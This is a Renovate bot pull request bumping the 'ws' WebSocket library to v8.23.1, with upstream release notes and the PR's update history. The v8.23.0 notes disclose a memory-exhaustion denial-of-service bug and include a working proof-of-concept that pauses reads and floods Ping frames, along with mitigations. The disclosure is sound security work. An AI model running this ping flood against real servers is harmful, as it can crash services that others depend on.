Skip to content

Update dependency ws to v8.23.1 - #84

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/ws-8.x-lockfile
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/ws-8.x-lockfile

Conversation

@renovate

@renovate renovate Bot commented Sep 26, 2026 •

Copy link
Copy Markdown

This PR contains the following updates:

Package Change Age Confidence
ws 8.21.3 → 8.23.1 age confidence

Release Notes

websockets/ws (ws)

v8.23.1

Compare Source

Bug fixes

  • Window bits values that do not conform to the RFC 7692 1*DIGIT ABNF rule are
    no longer accepted (#​2355).
  • SharedArrayBuffer and ArrayBuffer instances created in other realms are no
    longer masked in place (#​2358).
  • Errors thrown when a redirect request is created are now properly handled
    (#​2359).
  • Sec-WebSocket-Version header field values that do not conform to the RFC
    6455 version ABNF grammar are no longer accepted (#​2367).

v8.23.0

Compare Source

Features

  • Introduced the maxPendingAutoPongs option (ace7248).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (ace7248).

A malicious peer can flood the other peer with Ping frames while stopping reads,
forcing it to buffer Pong frames that are automatically sent in response until
memory is exhausted, leading to process termination due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(125);
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    ws.pause();

    (function ping() {
      ws.ping(data, function (err) {
        if (err) return;
        ping();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed by multiple reporters:

In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the autoPong option to false, if
available.

v8.22.2

Compare Source

Bug fixes

  • The userinfo of the URL is now percent-decoded (#​2352).
  • The WebSocket constructor no longer mutates http: or https: url.URL
    objects (#​2353).

v8.22.1

Compare Source

Bug fixes

  • The path of IPC URLs is no longer truncated at : (#​2344).

Other notable changes

v8.22.0

Compare Source

Features

  • Introduced the protocols option (8b918b0).

Bug fixes

  • Calling websocket.close() with invalid arguments no longer transitions the
    state to WebSocket.CLOSING (#​2337).

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/ws-8.x-lockfile branch from ddfc53f to e4a0ba3 Compare October 31, 2026 12:33
@renovate renovate Bot changed the title Update dependency ws to v8.22.0 Update dependency ws to v8.22.1 Oct 31, 2026
@renovate renovate Bot changed the title Update dependency ws to v8.22.1 Update dependency ws to v8.22.2 Nov 8, 2026
@renovate
renovate Bot force-pushed the renovate/ws-8.x-lockfile branch from e4a0ba3 to 7f56fc2 Compare November 8, 2026 16:33
@renovate renovate Bot changed the title Update dependency ws to v8.22.2 Update dependency ws to v8.23.0 Nov 13, 2026
@renovate
renovate Bot force-pushed the renovate/ws-8.x-lockfile branch from 7f56fc2 to f7939da Compare November 13, 2026 01:23
@renovate renovate Bot changed the title Update dependency ws to v8.23.0 Update dependency ws to v8.23.1 Nov 28, 2026
@renovate
renovate Bot force-pushed the renovate/ws-8.x-lockfile branch from f7939da to f27bbbf Compare November 28, 2026 02:26
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants